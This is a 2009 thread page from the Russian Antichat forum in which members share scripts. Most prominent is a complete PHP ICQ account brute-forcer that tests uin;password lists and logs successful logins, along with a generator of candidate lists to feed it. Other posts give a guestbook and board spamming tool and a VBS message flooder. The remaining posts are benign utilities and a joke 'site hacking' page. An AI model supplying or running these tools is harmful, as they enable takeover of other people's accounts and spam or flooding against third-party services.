ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #631  
Старый 21.02.2009, 15:07
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

только что написал брут асек на пыхе, может кому пригодится
icqlib.php
PHP код:
<?
class ICQclient
{
    var 
$socket$server$port$connected;
    var 
$uin$password$logged;
    var 
$client = array(), $sequence$TLV = array();
    var 
$uin_sendto$message;

    function 
ICQclient($uin$password)
    {
        
$this->server "login.icq.com";
        
$this->port 5190;
        
$this->uin = (string )$uin;
        
$this->password $password;
        
$this->client = array("name" => "icqlib.php""country" => "ru""language" =>
            
"ru""major" => 1"minor" => 0"lesser" => 0"build" => 1);
    }

    function 
connect()
    {
        
$this->socket = @fsockopen($this->server$this->port);
        if (!
$this->socket)
            return 
false;
        else
        {
            
$this->connected true;
            return 
true;
        }
    }

    function 
connect_migration()
    {
        list(
$server$port) = explode(":"$this->TLV[0x05]);
        
$this->socket = @fsockopen($server$port);
    }

    function 
login()
    {
        if (!
$this->connected)
            
$this->connect();
        if (!
$this->connected)
            return 
false;
        
$this->receive_packet();
        
$this->sequence rand(0x00000xFFFF);
        
$this->send_packet("login");
        
$SNAC $this->receive_packet();
        
$this->parse_SNAC($SNAC);
        if (!(@
$this->TLV[0x05] and @$this->TLV[0x06]))
            return 
false;
        
$this->connect_migration();
        
$this->send_packet("cookie");
        
$this->receive_packet();
        
$this->send_packet("ready");
        
$this->receive_packet();
        
$this->logged true;
        return 
true;
    }

    function 
send_message($uin$message)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->message $message;
        
$this->send_packet("message");
        
$this->receive_packet();
        return 
true;
    }

    function 
getstatus($uin)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->send_packet("userinfo");
        
$SNAC $this->receive_packet();
        list(, 
$subfamily) = unpack("C"$SNAC[3]);
        if (
$subfamily == 6)
        {
            list(, 
$uin_length) = unpack("C"$SNAC[10]);
            
$this->parse_SNAC(substr($SNAC15 $uin_length));
            if (
$this->TLV[6])
                list(, 
$status_code) = unpack("C"$this->TLV[6][3]);
            else
                
$status_code 0xFF;
            switch (
$status_code)
            {
                case 
0x00:
                    
$status "online";
                    break;
                case 
0x01:
                    
$status "away";
                    break;
                case 
0x02:
                    
$status "dnd";
                    break;
                case 
0x03:
                    
$status "dnd";
                    break;
                case 
0x04:
                    
$status "na";
                    break;
                case 
0x05:
                    
$status "na";
                    break;
                case 
0x10:
                    
$status "occupied";
                    break;
                case 
0x11:
                    
$status "occupied";
                    break;
                case 
0x13:
                    
$status "dnd";
                    break;
                case 
0x20:
                    
$status "free4chat";
                    break;
                default:
                    
$status "undefined";
                    break;
            }
        } else
            
$status "offline";
        return 
$status;
    }

    function 
disconnect()
    {
        
$this->connected $this->logged false;
        return @
fclose($this->socket);
    }

    function 
log_packet($packet$type "packet")
    {
        global 
$debug_log;
        
$debug_log .= "<p>$type:<br>";
        for (
$i 0$i strlen($packet); $i++)
        {
            if (
strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                
$debug_log .= "0";
            
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
        }
        
$debug_log .= "</p>";
    }

    function 
send_packet($type)
    {
        global 
$debug;
        list(
$channel$SNAC) = $this->gen_SNAC($type);
        
$FLAP pack("CCnn"0x2A$channel$this->sequencestrlen($SNAC));
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"send");
        @
fwrite($this->socket$packet);
        
$this->sequence++;
        if (
$this->sequence == 0xFFFF)
            
$this->sequence 0x0000;
    }

    function 
receive_packet()
    {
        global 
$debug;
        
$FLAP = @fread($this->socket6);
        list(, 
$length) = @unpack("n"substr($FLAP42));
        
$SNAC = @fread($this->socket$length);
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"receive");
        return 
$SNAC;
    }

    function 
gen_SNAC($type)
    {
        if (
$type == "login")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x01$this->uin) . $this->gen_TLV(0x02,
                
xor_encrypt($this->password)) . $this->gen_TLV(0x03$this->client["name"]) . $this->
                
gen_TLV(0x162662) . $this->gen_TLV(0x17$this->client["major"], 2) . $this->
                
gen_TLV(0x18$this->client["minor"], 2) . $this->gen_TLV(0x19$this->client["lesser"],
                
2) . $this->gen_TLV(0x1A$this->client["build"], 2) . $this->gen_TLV(0x1485,
                
4) . $this->gen_TLV(0x0F$this->client["language"]) . $this->gen_TLV(0x0E$this->
                
client["country"]);
            
$channel 1;
        }
        if (
$type == "cookie")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x06$this->TLV[0x06]);
            
$channel 1;
        }
        if (
$type == "ready")
        { 
// SNAC(01,02) - CLI_READY
            
$SNAC "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
            
$channel 2;
        }
        if (
$type == "message")
        { 
// SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
            
$this->TLV[0x0501] = pack("C"1);
            
$this->TLV[0x0101] = pack("N"0) . $this->message;
            
$this->TLV[0x02] = $this->gen_TLV(0x0501$this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                
$this->TLV[0x0101]);
            
$SNAC pack("nnnNdnca*"0x040x0600microtime(), 1strlen($this->
                
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02$this->TLV[0x02]) . $this->
                
gen_TLV(0x06"");
            
$channel 2;
        }
        if (
$type == "userinfo")
        { 
// SNAC(02,05) - CLI_LOCATION_INFO_REQ
            
$SNAC pack("nnnNnca*"0x020x05001strlen($this->uin_sendto), $this->
                
uin_sendto);
            
$channel 2;
        }
        return array(
$channel$SNAC);
    }

    function 
parse_SNAC($SNAC)
    {
        unset(
$this->TLV);
        while (
strlen($SNAC) > 0)
        {
            list(, 
$type$length) = unpack("n2"substr($SNAC04));
            
$this->TLV[$type] = substr($SNAC4$length);
            
$SNAC substr($SNAC$length);
        }
    }

    function 
gen_TLV($type$value$length false)
    {
        switch (
$length)
        {
            case 
1:
                
$format "C";
                break; 
// unsigned char (8 bit)
            
case 2:
                
$format "n";
                break; 
// unsigned short (16 bit, big endian byte order)
            
case 4:
                
$format "N";
                break; 
// unsigned long (32 bit, big endian byte order)
            
default:
                
$format "a*";
                break; 
// NUL-padded string
        
}
        if (
$length === false)
            
$length strlen($value);
        return 
pack("nn" $format$type$length$value);
    }
}

function 
xor_encrypt($password)
{
    
$roast "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
    
$xored "";
    for (
$i 0$i strlen($password); $i++)
        
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
    return 
$xored;
}

function 
put($data$file)
{
    global 
$go;
    
$f fopen($file"a") or die("File " $file " doesn't exist");
    
fwrite($f$data);
    
fclose($f);
    
$go++;
}
?>
brute.php
PHP код:
<?php
set_time_limit
(0);
ignore_user_abort(1);

require_once (
"icqlib.php");

$source "source.txt";
$good "good.txt";
$stat "stat.txt";
$bad "bad.txt";

$file_s file($source);
$count count($file_s);
$total $go $guins $pps $buins 0;
foreach (
$file_s as $str)
{
    list(
$uin$password) = explode(";"$str);
    
$uin trim($uin);
    
$password trim($password);
    
$mtime microtime();
    
$mtime explode(" "$mtime);
    
$mtime $mtime[1] + $mtime[0];
    
$tstart $mtime;
    
$debug false;
    
$icq = new ICQclient($uin$password);
    
$icq->connect();
    if (
$icq->connected)
    {
        
$icq->login();
        if (
$icq->logged)
        {
            
$put put($str$good);
            
$guins++;
        } else
        {
            
$put put($str$bad);
            
$buins++;
        }
    }
    
$mtime microtime();
    
$mtime explode(" "$mtime);
    
$mtime $mtime[1] + $mtime[0];
    
$tend $mtime;
    
$total $total + ($tend $tstart);
}
if (
$go != 0)
{
    
$pps / ($total $go);
}
$pps round($pps3);
$stats "
++++++++++++++++++++++++++++++++
+== ICQ BRUTE BY ZEDI        ==+
+==============================+
+ Попыток сделано: " 
$go "           +
+ из них:                      +
+ удачных: " 
$guins "                   +
+ неудачных: " 
$buins "                 +
+==============================+
+ Ср. скорость: " 
$pps "PPS           +
++++++++++++++++++++++++++++++++
"
;
$put put($stats$stat);
?>
и файлы нужно создать source.txt bad.txt good.txt stat.txt


или можно все скачать сразу _http://slil.ru/26941253

Последний раз редактировалось Zedi; 21.02.2009 в 15:22..
 

  #632  
Старый 21.02.2009, 21:31
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

когда то писал спамер гостевых книг, досок объявлений и пр.
скрипт спамит доски без капч и одного ввида
им можно не только спаминь но и региться на нескольких сайтах одновремнно и т.п. но без капч конечно

как пользоваться:
вводим список url'ов к гестбукам
вводим данные для постинга в виде name=name и т.п.(как в пост запросе)
вводим текст который появлюется при успешной отправке сообщения (для того чтобы знать сколько наспамил)
для установки set_time_limit и ignore_user_abort выбираем да

P.S. писал давно, могут быть ошибки, скажите исправлю, ну и ваши предложения по скрипту))

PHP код:
<?php
error_reporting 
E_ALL );
echo 
'<html>
      <head>
        <title>Submiter by Zedi</title>
        <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
        <style type="text/css">
        a:link        {color: #9a9a9a; text-decoration: none;}
        a:active        {color: #9a9a9a; text-decoration: none;}
        a:visited        {color: #9a9a9a; text-decoration: none;}
        a:hover        {color: #000000; text-decoration: none;}

        input, textarea, select
        {
          background-color: #ffffff;
          border:#000000 1pt solid;
          color: #000000;
          font-size: 9px;
          margin: 0px;
          padding-bottom: 1px;
          padding-left: 2px;
          padding-right: 0px;
          padding-top: 0px;
          font-family: Verdana, arial, Helvetica;
          line-height: 9pt;
        }
        
        body, table
        {
          font-family: Verdana, arial, Helvetica;
          color: #000000;
          font-size: 11px;
        }
       </style>
      </head>
      <body bgcolor="#f0f0f0">'
;
if (isset ( 
$_POST ['submiter'] )) {
    foreach (
$_POST as $post_date_key=>$post_date) {
        if(
$post_date_key != "ok_mess"){
        if(empty(
$post_date)) {
            die(
"Вы не заполнили поля");
        }
        }
    }
    
$list $_POST['list'];
$data $_POST['data'];
$ok_mess $_POST['ok_mess'];
if(
$_POST['set'] == 1) {
    
set_time_limit(0);
    
ignore_user_abort(1);
}
$urls explode("\n",$list);
foreach (
$urls as $Host) {    
    
$url_array parse_url($Host);
    
$Url $url_array["host"];
    
$Path $url_array["path"];
    if(isset(
$url_array["port"])) {
        
$Port $url_array["port"];
    }
    else {
        
$Port 80;
    }
    
$errno $errstr 0;
    
$f fsockopen($Url,$Port,$errno,$errstr,10);
    if(!
$f){
        echo 
$errno.':'.$errstr;
        continue;
    }
    
$header "POST $Path HTTP/1.1\r\n";
    
$header .= "Host: $Url\r\n";
    
$header .= "User_agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9) Gecko/2008052906 Firefox/3.0\r\n";
    
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
    
$header .= "Connection: Close\r\n";
    
$header .= "Referer: $Host\r\n";
    
$header .= "Content-length:".strlen($data)."\r\n\r\n".$data;
    
stream_set_timeout($f,10);
    
    
fputs($f,$header);
    
    if(
strlen($ok_mess)){
        
$page "";
        while(!
feof($f)) {
            
$page .= fgets($f,128);
        }
        if(
strpos($page,$ok_mess)) {
            echo 
$Url.$Port."<font color='green'>OK</font> <br>";
        }
        else {
            echo 
$Url.$Port."<font color='red'>Fail</font> <br>";
        }
    }
    else {
        if(
$errno == 0){
            echo 
$Url.$Port."<font color='green'>OK </font><br>";
        }
        else {
            echo 
$Url.$Port."<font color='red'>Fail</font> <br>";
        }
    }
    
fclose($f);
    
}

} else {
echo 
"<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Введите список для спама</td><td><textarea rows='3' cols='17' name='list'></textarea></td></tr>
<tr><td width='150'>Введите данные</td><td><input type='text' name='data' size='20'></td></tr>
<tr><td width='150'>Текст об успешной отправке</td><td><input name='ok_mess' type='text' size='20'></td></tr>
<tr><td width='150'>Установить STL и IUB</td><td><select name='set'><option value='1' selected='selected'>Да</option><option value='0'>Нет</option></select></td></tr>
<tr><td width='150'>Начать спам</td><td><input type='submit' name='submiter' value='Пуск'> </td></tr>
</table></form>"
;
}
echo 
"Разработка:Zedi</body></html>";
?>

Последний раз редактировалось Zedi; 21.02.2009 в 21:44..
 

CURL + PROXY
  #633  
Старый 22.02.2009, 00:04
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию CURL + PROXY

Маленькая демонстрация того, как можно использовать curl с proxy (вроде не было еще):

PHP код:
<?php

function get($url,$proxy) { 
        
        
$ch curl_init();   
        
curl_setopt($chCURLOPT_URL,$url); 
        
curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
        
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
        
curl_setopt($chCURLOPT_PROXY"$proxy"); 
        
$ss=curl_exec($ch); 
        
curl_close($ch); 
        return 
$ss




      
$prox '201.227.66.18:3128';
      
$a=get('http://2ip.ru/',$prox); 
      echo 
$a;

?>
 

  #634  
Старый 22.02.2009, 12:43
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

генератор по диапазонам ввида uin;pass, подойдет для моего брута который выше, удобно тем у кого инет медленный и на хост чтоб файл не заливать большой, генерирует по диапазону на один пароль
PHP код:
<?php
set_time_limit
(0);
ignore_user_abort(1);
echo 
'<html> <head><title>Генератор</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link        {color: #9a9a9a; text-decoration: none;} a:active        {color: #9a9a9a; text-decoration: none;} a:visited        {color: #9a9a9a; text-decoration: none;} a:hover        {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
if (isset(
$_POST['submit']))
{
    foreach (
$_POST as $post_date_key => $post_date)
    {
        if (empty(
$post_date))
        {
            die(
"Вы не заполнили поля");
        }
    }
    
$from $_POST['from'];
    
$to $_POST['to'];
    
$pass $_POST['pass'];
    
$file $_POST['file'];

    
$f fopen($file"w");
    for (
$from$from $to$from++)
    {
        
$data $from.";".$pass."\r\n";
        
fwrite($f$data);
    }

    
fclose($f);
    echo 
"OK"."<br>";
} else
{
    echo 
"<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>"
;
}
echo 
"Разработка:Zedi v.0.1</body></html><noscript>";

?>
 

  #635  
Старый 22.02.2009, 20:08
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

незнаю, может не туда запостил, но скрипт полезный

Флудер мейл агента.
Допустим в магенте есть контакт "петя". Открываем окно контакта.

пишем в блокноте:

Код:

Код:
set wshell=createObject("wscript.shell") 
FOR i=1 to 40               ' цикл , сколько сообщений отслать(40 шт)
wshell.appactivate("петя")  ' активировать окно с заголовком "петя" 
WSCRIPT.SLEEP(30)           ' пауза чтобы окно полностью вышло на передний план
wshell.sendkeys ("флуд флуд")  ' послать строку
wshell.sendkeys ("^{enter}")'Ctrl+Enter (отправляем сообщение)
wscript.sleep(6)        'пауза
next
msgbox ("Готово")
сохранить как *.vbs.

При ативации окна учитывается регистр.("петя" не тоже самое что "Петя")
Теперь, не закрывая и не сворачивая окна контакта, запустить скрипт.

п.с. можно и не только магент флудить))
 

  #636  
Старый 23.02.2009, 00:09
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

сегодня понадобилось отсортировать файл с мылами ... вот собственно результат
подходит не только для мыл, но и для сортировки любых текстовых данных в файле
PHP код:
#!/usr/bin/perl

use sort "stable";

$emails 'mails.txt';
$sorted 'sorted.txt';

my @acc shared;

openACS"<$emails);
@
acc acc();

@
sort @acc;
while (@
c) {
    { 
lock(@c); $c shift @c; }

    
openFILE">>$sorted);
    print 
FILE "$c\n";
    
close(FILE);
    { 
lock($i); $i++; }
}

sub acc {
    
my (@mas);
    while (<
ACS>) {
        
push @mas$_;
    }
    
chomp @mas;
    return @
mas;

 

  #637  
Старый 23.02.2009, 01:29
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию

PHP код:
<title>Взлом любого сайта за несколько минут!</title>
<?
ob_implicit_flush 
(); 
flush();
ob_flush();
if(
strlen($_POST[url]) > 30) {
echo die(
"Ковбой, иди ломай свою лошадь!");
flush();
ob_flush();
}
if(!isset(
$_POST['url'])) {
echo 
'
<form action="" method="POST">
Введите URL сайта - <input type=text name="url" value="http://site.ru"><br>
<input type=submit name=submit value="hack!">
</form>
'
;
flush();
ob_flush();
}
flush();
ob_flush();
if(isset(
$_POST['url']) && isset($_POST['submit'])) {
$_POST[url] = htmlspecialchars($_POST[url]);
flush();
ob_flush();
echo 
'Производим взлом сайта - <b>'.$_POST[url].'</b>...<br><br>';
flush();
ob_flush();
sleep(2);
echo 
'Производится поиск уязвимостей';
for(
$i=0$i<rand(6,11); $i++) {
echo 
'.';
flush();
ob_flush();
sleep(1);
}
sleep(2);
echo 
'<br>';
echo 
'Уязвимость найдена!<br>';
sleep(2);
echo 
'Достаем данные администратора';
for(
$i=0$i<rand(6,11); $i++) {
echo 
'.';
flush();
ob_flush();
sleep(1);
}
echo 
'<br><table border="1">';
$lim rand(6,11);
for(
$i=1$i<=$lim$i++) {
if(
$i == $lim) {
$r "Success!";
}
else
{
$r "Failed!";
}
echo 
'<tr><td>Попытка №'.$i.' </td><td> '.$r.'</td>';
flush();
ob_flush();
sleep(rand(2,3));
}
echo 
'</table><br>';
$rr rand(1200);
if(
strlen($rr) == 1$adm "admin";
if(
strlen($rr) == 2$adm "administrator";
if(
strlen($rr) == 3$adm "moderator";
echo 
'Логин и зашифрованный пароль администратора - <b>'.$adm.':'.md5(rand(100,100000)).'</b>';
echo 
'<br>';
}
?>
 

  #638  
Старый 23.02.2009, 01:32
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию

ICQFIGHT (то же, что и флеш версия на сайте icq.com)

PHP код:
<?php
function icqfight($uin1,$uin2) {
    
$array = array();
    
$a file_get_contents("http://www.icq.com/fight/fight_frm.php?u1=".$uin1."&u2=".$uin2);
    
$pos strpos($a,"Make sure you enter a valid ICQ number");
    if(
$pos != false) {
        
$array['status'] = 'error';
    }
    
$array1 explode("&",$a);
    
$sc1 $array1[0];
    
$sc2 $array1[1];
    
$sc1 str_replace("sc1=","",$sc1);
    
$sc2 str_replace("sc2=","",$sc2);
    if(
$sc1 $sc2) {
        
$array['status'] = 'win';
    } else
        if(
$sc2 $sc1) {
            
$array['status'] = 'lose';
        } else
              if(
$sc2 == $sc1 && $pos == false) {
            
$array['status'] = 'draw';
        }
    
$array['score1'] = $sc1;
    
$array['score2'] = $sc2;
    return 
$array;
}

if(
$_GET['y'] && $_GET['h']){
    
header("Content-type: text/html; charset=windows-1251");
    
$result icqfight($_GET['y'],$_GET['h']);
    
      if (
$result['status'] == error) {
      
$echo "Ошибка! Возможно, неверно введены UIN`ы.";
      }  
      if (
$result['status'] == win) { 
      
$ret1 " - Вы выйграли!";
      
$echo "Поздравляем! Вы выйграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
      }
      if (
$result['status'] == lose) {
      
$ret1 " - Вы проиграли.";
      
$echo "К сожалению, вы проиграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
      }
      if (
$result['status'] == draw) {
      
$ret1 " - Ничья!";
      
$echo "Ничья! Счет - <b>".$result['score1']." - ".$result['score2']."</b>.";
      }       
      echo 
$echo;
    exit();
}

echo <<<HTML
<html>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<title>ICQ FIGHT
{$ret1}</title>
<head>
<style type="text/css">
      body{ 
               background-color: rgb(238,52,63);
               background-image: url("logo.jpg");
               background-repeat: no-repeat;
               background-position: top center;
     }
    </style>
<script>
function switchSettings()
{
    var settings = document.getElementById('settings');
    if (settings.style.visibility == 'hidden') settings.style.visibility = 'visible';
        else settings.style.visibility = 'hidden';
    var settings1 = document.getElementById('res');
    if (settings1.style.visibility == 'hidden') settings1.style.visibility = 'visible';
        else settings1.style.visibility = 'hidden';
    var settings2 = document.getElementById('eshe');
    if (settings2.style.visibility == 'hidden') settings2.style.visibility = 'visible';
        else settings2.style.visibility = 'hidden';
}


function getPage(url,id) {
  var r;
  
  if (window.XMLHttpRequest) {
    r = new XMLHttpRequest();   
    document.getElementById('button').disabled = true;
    r.open("GET", url, false);
    r.send(null);
  }else if (window.ActiveXObject) {
    r = new ActiveXObject("Microsoft.XMLHTTP");
    if (!r)
      r = new ActiveXObject("Msxml2.XMLHTTP");
    if (r) {     
      document.getElementById('button').disabled = true;
      r.open("GET", url, false); 
      r.send(null);
      }
    }
        document.getElementById(id).innerHTML = r.responseText;
        document.getElementById('button').disabled = false;
  }
</script>
</head>
<body>
<center>
<form method="GET" action="">
<table style="margin-top: 320px; margin-left: 10px; visibility:visible;" id="settings">
    <tr><td><input type="9" maxlength="9" name="your" id="your" value="you" onclick="this.value=''" size="14"/></td><td><b> VS </b></td><td><input type="9" maxlength="9" name="him" id="him" value="enemy" onclick="this.value=''" size="14"/></td></tr>
    <tr><td colspan="3" align="center"><input type="button" value="FIGHT!" id='button' onclick="switchSettings(); getPage('?y='+getElementById('your').value+'&h='+getElementById('him').value,'res');"/></td></tr>
</table>
</form>
<div id="res" style="visibility:hidden;"></div>
<a href="javascript:switchSettings();" id="eshe" style="visibility:hidden;">Еще раз?</a>
</center>
</body>
</html>
HTML;
?>
http://slil.ru/26989687 <- тут лого
 

  #639  
Старый 23.02.2009, 01:38
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию

Сокращение ссылок:
index.php

PHP код:
<?
include "db.php";
if(isset(
$_GET[id])) {
$id mysql_real_escape_string($_GET[id]);
$url mysql_query('SELECT * FROM url WHERE id="'.$id.'"'$db);
$url mysql_fetch_array($url);
$url $url[url];
if(!empty(
$url)) {
$rand rand(0,10);
echo 
'<META HTTP-EQUIV=Refresh CONTENT="'.$rand.'; URL='.$url.'">';
echo (
"\nWait $rand seconds");
}
else echo 
"Такой url не найден в базе!";
}
if(isset(
$_GET[add])) {
echo 
'
<form action="index.php?add" method=POST>
<pre>
URL: <input type=text name=url>
<input type=submit name="submit" value="Добавить">
</pre>
</form>
'
;
if(isset(
$_POST[submit])) {
$_POST[url] = mysql_real_escape_string($_POST[url]);
$addurl mysql_query("INSERT INTO url (url) VALUES ('$_POST[url]')");
$addurl mysql_query("SELECT * FROM url WHERE url='".$_POST[url]."'"$db);
$addurl mysql_fetch_array($addurl);
$newid $addurl[id];
if(!empty(
$newid)) echo "<a href='".$addr."?id=".$newid."'>".$addr."?id=".$newid."</a>";
}
}
echo 
'
<br>
<a href="'
.$addr.'?add">Добавить URL!</a>
'
;
?>
db.php

PHP код:
<?
$host 
'localhost';          # Хост, на котором висит mysql
$user 'root';               # Логин mysql
$pass '';           # Пароль к mysql
$base 'test';                # База mysql
$addr 'http://localhost/short/index.php'# полный адрес до скрипта

$db mysql_connect($host,$user,$pass);
mysql_select_db($base$db);
?>
 

Узнаем разрешение монитора посетителя сайта
  #640  
Старый 25.02.2009, 23:32
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Узнаем разрешение монитора посетителя сайта

Вариант 1 - просто получение информации и вывод в браузер значение переменной - 1 файл, обзовите index.php, если по другому - измените в коде в двух местах:

PHP код:
<?php

session_start
(); 
   
if(!isset(
$_SESSION['res'])) 

  if(isset(
$_GET['res']))  
  { 
    
$_SESSION['res'] = $_GET['res']; 
    
Header("Location: index.php");  
  } 
  else 
  { 
  
?> 
   
  <sсriрt language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</sсriрt> 
   
  <? 
  


else 

  echo 
"<b>".$_SESSION['res']."</b>"


?>
Вариант 2 - тоже самое, только пишем разрешение монитора посетителя сайта на картинку:

PHP код:
<?php
Header
("Content-type: image/gif");

session_start(); 
   
if(!isset(
$_SESSION['res'])) 

  if(isset(
$_GET['res'])) // Получили GET? 
  

    
$_SESSION['res'] = $_GET['res']; 
    
Header("Location: index.php"); 
  } 
  else 
  { 
  
?> 
   
  <script language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</script> 
   
  <? 
  


else 


$b "Parametres of your monitor:  ".$_SESSION['res'];  

$im ImageCreateFromPng("dss1.gif");
$black imageColorAllocate($im000);
ImageString($im,3,20,20,$b,$black);
ImageGif($im);
ImageDestroy($im);
}

?>
и как результат:

 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ